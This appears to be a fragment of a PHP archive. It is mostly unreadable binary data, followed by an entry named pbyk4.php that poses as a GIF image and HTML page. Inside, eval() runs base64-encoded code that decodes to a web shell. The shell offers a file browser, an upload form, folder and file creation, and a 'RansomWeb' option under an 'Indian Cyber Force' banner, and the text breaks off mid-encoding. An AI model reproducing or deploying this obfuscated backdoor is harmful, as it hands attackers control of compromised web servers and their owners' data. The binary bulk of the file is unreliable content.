�7\\�kTp�o�����?C�!͠�lz�� �XL�D�(�*Zȇ���3��%\"(�dS�s�UɿhJ�s���BO��Y����{P��L�����U�J�ק,�q5��o<(abH��P�\\�F�|&����`��T�}�O9� .�A�(^LP-L�?�~����
~�t�ot0M`�R�9��������A7-Y��:ʳT�i���c��u�?/ɭ�אg�9F�R���g~ڶP!>-v�T��9�t�_�;-E�cRtl]5?�_�uDk?P��ӎ �&�.�v��p���N-��o�%=⊍���%��nKպ[MP�0��1�D������8 �Iӫm�XT��.u�W�`s��Hǘ�y��SZ��uTZ�JQ��Q� ��U!�]�<���I�C�A �n0��^AK�3}�u=j+��1����K��\\��l٥�ϖ�
��E�Tl�ܻG/�2�i�0&�̑�堨��F5���7g�����_��^F+FsL�H�j�cL>s'�ɉe���X���h�/�O9߉\"7@��:w�v�&��J��HP��\"(��8�����/Zxܘ~�T��E�2Y6�['�A\$�>�����D��@T�5��]���:��q՚@�o09��%�b c���m��;������^�+�~�>���\\�0�?�/�
���N��.f�����[���!�[U'�N|�������CN��_u�/��C�0�.��zkp|b�\$�'h�-+7�vp��=����,�r�䉺A�%�~�}���p�[����|<*�ֶR�s����K�.{5'��t�`m�)��֦���7�!���#����J3�4�14>�nZ�TL�|wY���/ʇ���bbN�-�eB��X@�u�V���}0&3x昧/��m,��[M�O^J�,���e�ת�����>��q�{�H�s�س���
o��F1�4��h|�*�t8�����4��
��
��9�5ܜ��/JZ��(��K�!
�I��3�(�Ǐ�0�cA6��[�/�y��P�Q2��(X�����{ ٯ[��O���1�BT1pƏ75��� ��A��7�<6�.�p��u㕾���Z3��w�.+���Q�>�-�UN_͌\"���M��Rx���>!� �c����û���ˌB�1�K/��a�پ�~bc��|��W��i�Z�:�٪������8K��T�������xU�s2���]�i�l��-�&��c*��qG����5��Tc��tº��eA�,뢶6NQ��T����l��0Tr�q:�B̍Yv����c�;��
f���i�Y��%�`ؐ,��!�1�:9��4��5P��d ȭs�!#�ڠ\$ck�\"�1]Bj��+��9��d�u�=��݅D��X��Hm�H�f���Q�p�S�a�3��`找:��-P0aU؆�S\\�4�1�8�����f�.���|k��
�*dz@���LBy�t��:WRZ�d;���l���'��I��Ah�}o3[Sjp���T������N��-/�-
�������U���rf��+�oPyZ���Ȕ%ok���1�d'�{�)W-�5&Ʀb:I�Һ���/��9K�J�.̳��
��a��WR��ˊ����t�� ��
�H��lF�� 32hUk1iy-�?����H��<O93�4��1�[����>W��V�Ҵi�DV�6 +��:����sX�\\
�?�1A�ku�,E�v��=�c{�}�dN1��cX���\$hY4�F����Ȳ,�?L�8��\\�Hvg7i����j O��6�
G�3�GLڗZȉDy^t�� �{��31�\$r`�a��-/������L5xٕ�;\\�����#�*,���=u�
�c02�B�e�{;;�R���]Q�川�z��8� �}��7�}x�9M\$�3Ս��+�/���yd�X��2���p�+8��{�O�ŀ���N94Y�5��e�_��-���#S)(�2���U\\��b��4�'�AH�2Gg78t^��o�m7÷S
��
�gh�%B�Kڝr@�B.���t���Ĩ�A}�L��eK8��}:�3��idYA�i\"��]J�����v��槜�+i��'�p�ÍZi��ZA�͙�L���W�*�*숲�@��⛒�ˤ��~���,��e�̴֝�\"k~���yLH���{����7�����\$@d��+��Vxڌ�c��XB
:�������N�^c?�_SL���V�Sˤa����{�?�VY1.Y��yKeކ+�V�Øqi�Ij����6��f|�;�W��R5�����|������),�5h�s��v�A�U
@9v�*�Nq3�Y�u�������rS3��J�0ͯ0�O��@3�T�wY�ޖ.�o}�+\$��pA%��]G#�Z���^��G��F2���Q���Η�h�bC5IH#|�R�1���RIa��ݙ��_��u�,�����K��7��fvye�]7�!f���ZK{����C�������i���
�H�SȋO 4�D}�>'���IA��۞�/��v�hݻ������U�>�
����8�b�`�;5lm��LB�U.��?����� p*=>��!��t�N���Q:1*�ӺM�1�P%T� G�ʒ6)�ǥ+�b���� �П��1�����q���/�&ȯ�����L�/bq�b�nq�h��u�,�mL�3Q|�exW�R�5)@5�[�{��{�_��9R7���9���(հ\$�<58�=�^R��Rp��~�Z2�Y�3ַdo
sw'jҭ@��K��9���59��f��D��F;(bo�Ơ��)�b�=\"� ��yDk� 5��\"ޱT���<��TP.}A�#�!������[���}I;�J(�ٲ�+�!��1�=so��\"qѴ��X�߈jщ��r��C�{1=���4�i',{�Ļ����+���ֻ��ɛh^QY�8e��.a�5]��:t�<E�:��{,!|S�����6�B�[t��&����<P�@]1��.��};�H�_
Ԣ����w��8�\$C��d�眇�l��iw4t�!��A�gA����³d�e�f'\\VYR�T��ş&�>ާXڻn� �������gBaWsh�0]��G�~������!Z����r�~lMk���Zw�Ꮀ>_��&�%:sh�[Ag'; ��n��:{�Jq�wGU詳��ǭ�t����~S�]�tי��zi�R)y�\$O��j4���_bK�U�h)X�Yijv�����<Ă���wT~��飁�i>ĭ�L<���廱&~ƺ`Ht�+C�(s�2���5�ס�����|-��
� ��I�צBu���3K��^��i�B2c�Ǽ4i�&�-(�
�\"' �rhqa}&��o(���@�WT6�z�ŗ��'}p�����[�\\�\\w:�����%:��Y��=ҿ��y�?���tY�?��x�k?:�!�]%�ǣh2L:�l��]��5�uo��6��f
��4���{�����qzR`���?� �jڡ��-0[G�h���b����!�ʪ7jp�X���� ���#릎��(B8�'��������C:m9:��+_P|�M�~����mk��.+��{.{��sW���H�l'��P���� ��vŘr^*\\�s
�Y�+P^/j�[/A#(��d9*Ϗ��E�Ȱ���g~.�a?��u'��
n���;��ؚ7n� z�cOhol<�j*Ƴ�%� b��q84tי��Z��R5���#@3���8�a��j�nݦ�ϊ��˽���0��gI���ܣ����H�ʃt�<� ��X��~H2���!zƃ���>�a��j�w����v)?��H�B��*K��S��k|ΞO�T@Wi����G�X|�� Rc�� �c���Y#Fa,\\�Z7�j�D� 9�>�6�Q=ݭ&��G���q����ATO��Y]�v�Կp�K��_fFf��䳜
�*>�X�Q��;�k��\$�*��0S*���:�E��A#�Z����k\\U���x���ڛӒ�w���3��g[��-z�^�1�L��W���W�d^¹2�\$���-�;��%N|֦���U�::i�)&�z�=�����hs(���|���˟-�R��7^��3.�Hwd�鬨�����/�G3��3CA5'���S�ʋZL�*p�E���e�Mu���6���
��8�;��%�D(�ѫ���!�k9lO���P��Rg�㤙
�Qd&+�1�N���`a%��o�B�s�.f^g����,�f�H���?]�ܯw��V���
�~{����j��;�y*焮Z�J�\\陚̡��d��i��M�]�k7�2�>_1<vB�Y&U:^��7M;7z�w5��\\x���/�y7c��ce7��(';�L��E�VR��O?^�(,��&�̮&qp覉���[mR���ٵA��OI��u+S{�ŵ��+��b���o~�Ϯ�t]�3���F���u��� �\\�YW�K�/Y�XB���g\"uKv�C)&�Y�j,z8���)���[�t�y�.�o��=����,����zc��Uk2���Ϥk��&�\\[8h�s���{N!���K�%ݥ۠�FR;�'j�S�r���Y��R�^���ǩG_�je
�\\�e�@|��b�U[��K���j쯋�&��e�n�ߦ�Ytwx �܃�B`s�c�������x<o����}q��e@f�̿�W�JW���^���w=�
`#Gg�Oc�-����Ѿ��'1��Ϧ2��5�����`2D���H�,���K�3W��RB�=E�1���D�ud�fD��L\$M��q˥bab����A�Q~�Ts'�Fe�6P<ˤ��{ҎTS�� ��������Ǣ�*H#� ��A���U��:/���@�lo�;�kt��O���ybט��@��3`Hg����Im��U�O��..�ض3�P�����A�BW��f�3����]C�SE�������h8z����)���õ�������S. ���h�1#��k����l7N/#-�A��^�#�FT���~��_�!�Ӈ���}�m�Ub�����(���(�`;��DC�v�l �lc�{��tR�����C)��[(�T��?-�� &���@�h(~�vʂ/U���\"��Q�����&k���u~���F\\:.�%yD+yU��y8I59Y��T^~��\"�Q�z7g`e�T z�%�%�N�LU���p�4�e�+&1�\$u�Ay\$_��ա~�>:_��ZԎd��!ۅ�4��d.X7ن��^-ָ�l���\\I�5��gW�#AT���
�fxM��Nr�M�풸b���8fɢ��n^N´�d/,,��2�!�B8ܯ�pc��������sp~���WI�!�w�8+�&`�5�*�
���r�`�Xw���5)M�ĦR2�rM��\$^�ƈ��ggTl��4�
�fZf���>��|1�c��Pl�r��|�Z��K1DM_���C���Vcdk�8V@����m������x�\">Y���1�:Y�����s ��X�U��H�4k����\\��w���F��-,v��D�G���(&�{o����U��v���-�pB��&<��`�o��9��N�a%MI&���S��A���2]_c��R\\�s�}�eQ�S]ZU7���!f'v���G���M%�`+�4�vÿ��)V���(
u�h�pN!b1�<:r+����� �����C,��Q����ICI=ݔr���Ζ�Ƹ�BB��\\�AEP{��[T�Tr?�K��vo\\O�o�2�3u������a�pol���p���N�C�@סD� v_gyo�[�XY7�S
n\\Me�VVu #��pY��K�����z��4�'��S�Y2!�q\\ݞ���d&����̥�^���M�#X��dw�����Wo�KK�K���j\\�X�Ǎ�\"='`�c�g_u_K5>�}suN��S��҈Lũ!A �E��M0����K6ys��F��E��W�Ĥ�j��lE���-�/ƿ�h��ݿ�.�/O�c,�֯@V�کu����?&�A����Ӂ�(��s:���G',f�c�����j��u�w�6&Ao�?n���3%Sw�W&�I��5b�3oPqm�;��o�`�Ͼ�P�
�h_�
�a4o��
�uO%d����d��>��^ܜx[]�\"5_r���k{���ͅ\\�w �2��K�Bk�><�5�z��`�zf���rF*u��9�k�%���?a ������Mܸ6fY��t��U�R�w�� C��F*=_��T�[Ǐq�Ֆ��2jİ�@�}k��֣}��L��Q��V������Q�X��y��%���6>��%|OmiV�P{\\`^{�Ƚ����v�j\\�)�:��ڛ��:M�h2'\\'Ƹ42!z�C[@����@>_���u���m�T�,��7#�����^����2\"�'���)��P�@X͋�`Z �j��t����:��! m�*wr�`�,�t�b���R5z����\\�?s��e`����xD��m�}�H V�
B7�m)k�:��� �Ռ����.6Xs#��G���S� �ϻ�J@<�/徤����W��ؗ�Ʊ�0��p�9�F�+�N��r\$�_��ݺm�Y}��~~x�?�����R�
�ح�G�\"��L�o����ggrD��\\�F�s�'�E~�����ͯ�a���4_>��
�jMLU��S��z+�<О�@��|��M�Ժ/U �~k�C`ͻ��D���:��(ҹ�A?u�X{?hl[��ξ��w`�>��ʮR^��\"X��x
p�R���9�T���^薾�x�4աC[U�>���;��Ƨ�F� �\\94����Ƴ/Gr�9:h��oQ 9䙹�xK��u���l_N78c�%���ɡ�u||@����Sn��pӤ;B�1������U h�|A�eD\\���|�`�1 9�?����+WJ9��\"�
��c����'?��+hj��A�\$�wE�P��A���Ⱥy�/��|�P��9�Mj��C���.�&?�z�h���#��wsz�<H�[��H�k�^pݬQ@!��n�eaD��|ݶp:�)�w�l9r@M�'k�g�=ɏ(c��/��,�Ps�3˶��qn�����'j��i7ٕpC\\�7c�yn��b\\���)L��~�\\���.B�eXv��pFӡ�;�dwC��߱�ߥ>��k[�v��H5��t�m��ܫ�F�%@�[Z�/�%�E%/�ӹ<9ꚳ����������Q��ީ�۳����@�i��&�~3�M���0S���K��^�0�����Qq�(���^|j*�Rs��'C�V�K3��7�H��'�Ղ�%�eo�̄07:�Y���=uI�f� �&�4����w�P�Uocemnnif���7Δ=����;�̏���4C,F�0�N�pJ�BZb��fd1'T�g�i�u�t���\"�1��Dp�!�M9?��}P�Tf���6Q;���(4��v/kL+�N�Ȓ����u��nJu`���tZ�Kԛ���xfZ#��U�s�Lֺtbp��T�ۥRʧ�=�����Ry�-v]B�i���C�+�
v,��b�=s�\"Γ�]���gy�,��ӕ�A'���\"���I��D{�K-
^h�O��U4\"u��1�'���ts��6��]�fIC^�
�N�����k�J�C�����
rΕ�i�E�� �s7fϼ��Q��(u���� UJ����{Z9ƾϠh�n�ҵ�Y��D���%݃��@�[�u�uP�@���
<3?�m��,픫��{� �7zWq��?j:���q����U���X.��х:>m�\$��0���o .�
Z�D�3p���,���8������ϒ��p��:#>Qk��_EwY���QsC��+�J�\$�h��_!��[z%�B�5����z�\\U�\\̷��!1���ؒ2�(�/>��z��UA�v���ɀ��c���^`͢@��E�}�;�h�ވ��{�:�%��\\��+}o_���H?��5��\\��^o[���剂��[�p��týp֟�\"f�}6\"ZW�vIake��z�ٯſS����?\"����h�7&yo��\"[�}�/�f�+p2G��l[������!3��)
����iQ>�jw�l3���=)��,�=/.�ޖ��u����?�y�y�Ourb2|m��DS�tE�{\\�F����&��M��cw�E�;�#�E�2n�ف�ݮ �yr-7A!ŹYm�I/�0P����R���9dn��Ϝ���pˎ`�sS�R�;��g�'<j�> ,�O� \"��@��lߍ7
��.�Og��8����J��*�2���� N�Cz������R�/��#����n�0�_D]BDA��ᶐz��K?�����Q7<�T衰�YS*<D�\"1☷��
����O���M�'\$���-ɠ�k��*MZ\\�ځf/�w��+���@-������H]K=Ш>g.,2�3+��玺
�q�ヌՠv���
��5�3j�!�8�9"));__halt_compiler();�����������Ў��Ǎ��
Ж�����Ӑ��������������������Ļ�����乬�����ʨ�����������������������
�ķ�ـΧ�
ޛ�ݑ�����������ڃ���͞��������Ǜ���鏌��������϶�Ƒ�����������ˬޗ��³ȋ�� ��ᴫ����������ҍ�
�����������ҍ���۩�
�Ֆ��������� ��Ə���A.�Đ�-�MW=�̕�>��J�\6�����XǺ�
��� �wg ��S����qc�/��DS����_���A�ۘO{��J1�]\qPWF����Z'e|��s*_ӶoR����-���k҄wq|�G��ٗE�%�[��8{t�A�_������V6}RCߛ_ꍁL^0��<@*D���"Y�k�79q�������^�:��_V��A���t�|�F+y^�h�B��G�Ga��۷h��%X��K�iB��b�2��a:N� \Q�l0�s&���˙���>٤3cpo��ds��$�;�B\�C ����LK�H�տ1��
�,�yO�+Y�ވZ����@������>4� /)omXF��0�v�e9 \D�2���nn��h�@�Fq���D-zQ��;h����A$�F��K�ѯ `3�'ތ��>�zM3C�1O�mME<zvy,^����ǛV�y�j?���+��sr�K�L������"��`N~�KB����B�2�}B��NS����ar���zb0ɽ��l�c�� �ǫ6>S��B`���K��%��DY���i�)7%_>�_ƃ�EՃ�ћ���I?B�ą)�K�J�E�=��^�(���,����ox�������]�[�$���s^�0ٕ9�\<��L�ox�v+\"�h��<mh.�������oy��k��N�v����v}8�
�!�=K8����-{%��q��M��i�4�O���n\?5B
8e��� ��'��1w�Y-M{��r^C����g������
}��VF�X��j����R��y6�΄-�7�E�K����2��#W/#�����<'�O�1��K��ú�Qo�(ͻ�Wh���դ�Ǿ�c&IF+���̡��_Ի��2y�?�Дc�KBWp>�G�#�ʃ`�� ��k)�#���՟�a�d��i�$�[�M�L���@��ٯ���M
q1�Կ��p>v��̬d��$Y�N�%7����H�XUy5�I
-�N��U�����l`.�G���߆^�$��������Z�~�8�e_��/��=k�g�7�����K�
��D��E
�P9/��$>�VP�\(�r�Q{�V(�P����Fqq0�lA>��ֻY ����)/�[]�@���[���3�wα�v�Fj�}���a�˽`�B�qF�}>��X��|-ԓ�Ոf�u�������_n�5]+�tm����9 ]�-Dw6�5�?�-��]s"+(C�|e(�y���~44�'�)M~��O�u=�B=U��b��x��\��c��#D-iB��o��^�"Z�T'�u^m6��+Y��t��gT*ɜ�ҿ*����uX�+Eӫ��=�X*��xudW��>�6�����Z�&���\� x�,�#�m���x�*�
�z�����f�xAN�<�ͱ�AW��<s|s[���bYF]��x+"�
�Ь��迍QP3۪�l{�m�㶸��z��f�
~*[_4��V.���|T9���9�9���}�{ˠ�7_�4��ѩ<� �����`�n�E��u��I��0"�4�����|���N���)�x_%x���o�J}t�($P��D�KUk��}���Hψ�)�$ǎmf�JAT�@L�Q�#�$
�}�s� XE+x�ڒ2�:"fm8��ܩ�_.�2H�iXWD�O�?dGL<�Z;2�&��*�f &H<�Wr�N�n�K}�cQ%w�����;��E��w�����8#�`Ka�XoZIM�N'.�r�'S�j_v�[q6}=>�jQ ���"<�ꦽ�V��˷p�-����g�=ø�X@v�/^����(�Wx�|��VhԠ:i�iK0l�E2_�N�jZ��0�1�i�&�݉jx����"J�4M�%��gU�\6�T~$��/��&q�n�K��d8��@e������U��,4}G�h��(pZ4!Y<I�HD�~=P�#n��(*T�x�.�O�#5x�RTx��Lj��:����߮|6Dc�PK 5Cm\ �]��W �W pbyk4.phpnu �[��� GIF89a
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<title>php</title>
<?=eval("?>".base64_decode("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgoJCTxtZXRhIGNoYXJzZXQ9
InV0Zi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Ut
d2lkdGgsIGluaXRpYWwtc2NhbGU9MC43NSwgc2hyaW5rLXRvLWZpdD1ubyI+CiAgICA8bGluayBy
ZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vc3RhY2twYXRoLmJvb3RzdHJhcGNkbi5jb20v
Ym9vdHN0cmFwLzQuMS4zL2Nzcy9ib290c3RyYXAubWluLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQt
TUN3OTgvU0ZuR0U4ZkpUM0dYd0VPbmdzVjdadDI3TlhGb2FvQXBtWW04MWl1WG9Qa0ZPSndKOEVS
ZGtuTFBNTyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICA8bGluayByZWw9InN0eWxlc2hl
ZXQiIGhyZWY9Imh0dHBzOi8vdXNlLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS43LjEvY3Nz
L2FsbC5jc3MiIGludGVncml0eT0ic2hhMzg0LWZubU9DcWJUbFdJbGo4THlUam83bU9VU3Rqc0tD
NHBPcFFicXlpN1JyaE43dWRpOVJ3aEtrTUhwdkxiSEc5U3IiIGNyb3Nzb3JpZ2luPSJhbm9ueW1v
dXMiLz4KICA8IS0tIEN1c3RvbSBzdHlsZXMgZm9yIHRoaXMgdGVtcGxhdGUgLS0+CiAgPHN0eWxl
Pgpib2R5IHsKICBvdmVyZmxvdy14OiBoaWRkZW47Cn0KLmljbyB7d2lkdGg6MjBweDt9Ci5pY28y
e3dpZHRoOjIwcHg7fQojc2lkZWJhci13cmFwcGVyIHsKICBtaW4taGVpZ2h0OiAxMDB2aDsKICBt
YXJnaW4tbGVmdDogLTE1cmVtOwogIC13ZWJraXQtdHJhbnNpdGlvbjogbWFyZ2luIC4yNXMgZWFz
ZS1vdXQ7CiAgLW1vei10cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICAtby10cmFu
c2l0aW9uOiBtYXJnaW4gLjI1cyBlYXNlLW91dDsKICB0cmFuc2l0aW9uOiBtYXJnaW4gLjI1cyBl
YXNlLW91dDsKfQoKI3NpZGViYXItd3JhcHBlciAuc2lkZWJhci1oZWFkaW5nIHsKICBwYWRkaW5n
OiAwLjg3NXJlbSAxLjI1cmVtOwogIGZvbnQtc2l6ZTogMS4ycmVtOwp9Cgojc2lkZWJhci13cmFw
cGVyIC5saXN0LWdyb3VwIHsKICB3aWR0aDogMTVyZW07Cn0KCiNwYWdlLWNvbnRlbnQtd3JhcHBl
ciB7CiAgbWluLXdpZHRoOiAxMDB2dzsKfQoKI3dyYXBwZXIudG9nZ2xlZCAjc2lkZWJhci13cmFw
cGVyIHsKICBtYXJnaW4tbGVmdDogMDsKfQoKQG1lZGlhIChtaW4td2lkdGg6IDc2OHB4KSB7CiAg
I3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogMDsKICB9CgogICNwYWdlLWNvbnRl
bnQtd3JhcHBlciB7CiAgICBtaW4td2lkdGg6IDA7CiAgICB3aWR0aDogMTAwJTsKICB9CgogICN3
cmFwcGVyLnRvZ2dsZWQgI3NpZGViYXItd3JhcHBlciB7CiAgICBtYXJnaW4tbGVmdDogLTE1cmVt
OwogIH0KfQogIDwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8ZGl2IGlkPSJwYWdlLWNvbnRl
bnQtd3JhcHBlciI+CgogICAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBu
YXZiYXItbGlnaHQgYmctbGlnaHQgYm9yZGVyLWJvdHRvbSI+CiAgICAgICAgPGJ1dHRvbiBjbGFz
cz0iYnRuIGJ0bi1wcmltYXJ5IiBpZD0ibWVudS10b2dnbGUiPjxpIGNsYXNzPSJmYSBmYS11c2Vy
Ij48L2k+PC9idXR0b24+CgogICAgICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIiB0
eXBlPSJidXR0b24iIGRhdGEtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS10YXJnZXQ9IiNuYXZiYXJT
dXBwb3J0ZWRDb250ZW50IiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBh
cmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPgogICAg
ICAgICAgPHNwYW4gY2xhc3M9Im5hdmJhci10b2dnbGVyLWljb24iPjwvc3Bhbj4KICAgICAgICA8
L2J1dHRvbj4KCiAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlIiBp
ZD0ibmF2YmFyU3VwcG9ydGVkQ29udGVudCI+CiAgICAgICAgICA8dWwgY2xhc3M9Im5hdmJhci1u
YXYgbWwtYXV0byBtdC0yIG10LWxnLTAiPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVt
IGFjdGl2ZSI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1saW5rIiBocmVmPSI/Ij5Ib21l
IDxzcGFuIGNsYXNzPSJzci1vbmx5Ij4oY3VycmVudCk8L3NwYW4+PC9hPgogICAgICAgICAgICA8
L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5hdi1pdGVtIj4KICAgICAgICAgICAgIAo8P3Bo
cAppZihpc3NldCgkX0dFVFsncGF0aCddKSl7CiRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKfWVsc2V7
CiRwYXRoID0gZ2V0Y3dkKCk7Cn0KJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7
CiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCmZvcmVhY2goICRwYXRocyBhcyAkaWQgPT4g
JHBhdCApewppZiggJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCApewokYSA9IHRydWU7CmVjaG8gJ+Ck
teCksOCljeCkpOCkruCkvuCkqCDgpKjgpL/gpKbgpYfgpLbgpJUgPT4gPGEgaHJlZj0iP3BhdGg9
LyI+LzwvYT4nOwpjb250aW51ZTsKfQppZiggJHBhdCA9PSAnJyApIGNvbnRpbnVlOwplY2hvICc8
YSBocmVmPSI/cGF0aD0nOwpmb3IoICRpID0gMDsgJGkgPD0gJGlkOyAkaSsrKXsKZWNobyAiJHBh
dGhzWyRpXSI7CmlmKCAkaSAhPSAkaWQgKSBlY2hvICIvIjsKfQplY2hvICciPicuJHBhdC4nPC9h
Pi8nOwp9Cj8+CiAgICAgICAgICAgICAKICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgPGxp
IGNsYXNzPSJuYXYtaXRlbSBkcm9wZG93biI+CiAgICAgICAgICAgICAgPGEgY2xhc3M9Im5hdi1s
aW5rIGRyb3Bkb3duLXRvZ2dsZSIgaHJlZj0iIyIgaWQ9Im5hdmJhckRyb3Bkb3duIiByb2xlPSJi
dXR0b24iIGRhdGEtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1l
eHBhbmRlZD0iZmFsc2UiPgogICAgICAgICAgICAgICAg4KS44KWC4KSa4KSo4KS+IOCkj+CkteCk
giDgpIXgpKrgpLLgpYvgpKEKICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgPGRpdiBj
bGFzcz0iZHJvcGRvd24tbWVudSBkcm9wZG93bi1tZW51LXJpZ2h0IiBhcmlhLWxhYmVsbGVkYnk9
Im5hdmJhckRyb3Bkb3duIj4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJkcm9wZG93bi1pdGVt
IiBocmVmPSI/aW5mbyI+SW5mbyBTZXJ2ZXI8L2E+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNz
PSJkcm9wZG93bi1kaXZpZGVyIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxjZW50ZXI+CiAgICAg
ICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0
YSI+CiAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSI+PGlucHV0
IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkIiB2YWx1ZT0iVXBsb2FkIj4KICAgICAgICAgICAg
ICAgPC9mb3JtPgogICAgICAgICAgICAgICA8L2NlbnRlcj4KICAgICAgICAgICAgICA8L2Rpdj4K
ICAgICAgICAgICAgPC9saT4KICAgICAgICAgIDwvdWw+CiAgICAgICAgPC9kaXY+CiAgICAgIDwv
bmF2PgogPGRpdiBjbGFzcz0iZC1mbGV4IiBpZD0id3JhcHBlciI+CiAgICA8IS0tIFNpZGViYXIg
LS0+CiAgICA8ZGl2IGNsYXNzPSJiZy1saWdodCBib3JkZXItcmlnaHQiIGlkPSJzaWRlYmFyLXdy
YXBwZXIiPgogICAgICA8ZGl2IGNsYXNzPSJzaWRlYmFyLWhlYWRpbmciPjxpIGNsYXNzPSJmYXMg
ZmEtdGFjaG9tZXRlci1hbHQiPjwvaT48YSBocmVmPSI/IiBjbGFzcz0idGV4dC1kYXJrIj4gSW5k
aWFuIEN5YmVyIEZvcmNlPC9hPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJsaXN0LWdyb3VwIGxp
c3QtZ3JvdXAtZmx1c2giPgogICAgICAJPD9waHAKICAgICAgCWVjaG8gIjxhIGhyZWY9Jz9wYXRo
PSRwYXRoJmFrc2k9YnVhdGZvbGRlcicgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3Vw
LWl0ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZvbGRlci1vcGVuJz48L2k+
IEZvbGRlcnMg4KSw4KSa4KSv4KSo4KWN4KSk4KWBPC9hPgogICAgICAJPGEgaHJlZj0nP3BhdGg9
JHBhdGgmYWtzaT1idWF0ZmlsZScgY2xhc3M9J2xpc3QtZ3JvdXAtaXRlbSBsaXN0LWdyb3VwLWl0
ZW0tYWN0aW9uIGJnLWxpZ2h0Jz48aSBjbGFzcz0nZmFzIGZhLWZpbGUnPjwvaT4g4KS44KSe4KWN
4KSa4KS/4KSV4KS+4KSCIOCksOCkmuCkr+CkqOCljeCkpOClgTwvYT4KICAgICAgCTxhIGhyZWY9
Jz9wYXRoPSRwYXRoJmFrc2k9cmFuc29tJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3Jv
dXAtaXRlbS1hY3Rpb24gYmctbGlnaHQnPjxpIGNsYXNzPSdmYSBmYS1leGNsYW1hdGlvbi10cmlh
bmdsZSc+PC9pPiBSYW5zb21XZWI8L2E+IjsKICAgICAgCT8+CiAgICAgICAgPGEgaHJlZj0nP2tl
bHVhcj10cnVlJyBjbGFzcz0nbGlzdC1ncm91cC1pdGVtIGxpc3QtZ3JvdXAtaXRlbS1hY3Rpb24g
YmctbGlnaHQnPjxpIGNsYXNzPSdmYXMgZmEtc2lnbi1vdXQtYWx0Jz48L2k+IOCksuClieCkl+Ck
huCkieCknzwvYT4KICAgICAgICAKICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgICAgPGRpdiBj
bGFzcz0iY29udGFpbmVyLWZsdWlkIj4KICAgICAgICAKICAgICAgICAKPD9waHAKaWYoJF9HRVRb
IuCkrOCkueCkv+CkgyDgpJfgpJrgpY3gpJvgpKTgpYEiXSA9PSB0cnVlKXsKdW5zZXQoJF9TRVNT
SU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CgllY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nPyc7PC9zY3JpcHQ+IjsKfQppZigkX0dFVFsnYWtzaSddID09ICdidWF0Zm9sZGVy
Jyl7CglmdW5jdGlvbiBoYWkoKXsKCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3Bh
dGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ0ZvbGRlciDgpLjgpKvgpLLgpKTgpL4g4KSV4KWD4KSk4KS+
IScpPC9zY3JpcHQ+IjsKCX0KCWlmKGlzc2V0KCRfUE9TVFsiZm9sZGVyc3MiXSkpewoJCSRuYW1h
X2ZvbGRlciA9ICRwYXRoLicvJy4kX1BPU1RbIm5hbWFGIl07CgkJbWtkaXIoJG5hbWFfZm9sZGVy
LGhhaSgpKTsKCX0KCQkKCWVjaG8gJwoJPGRpdiBjbGFzcz0icm93IG10LTMiPgoJCTxkaXYgY2xh
c3M9ImNvbCI+CgkJCTxmb3JtIG1ldGhvZD0icG9zdCI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0ibmFtYUYiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMyIgcGxhY2Vob2xkZXI9Ik5hbWEgRm9s
ZGVyIj4KCQk8L2Rpdj4KCQk8ZGl2IGNsYXNzPSJjb2wiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0
IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIiB2YWx1ZT0iQnVhdCIg
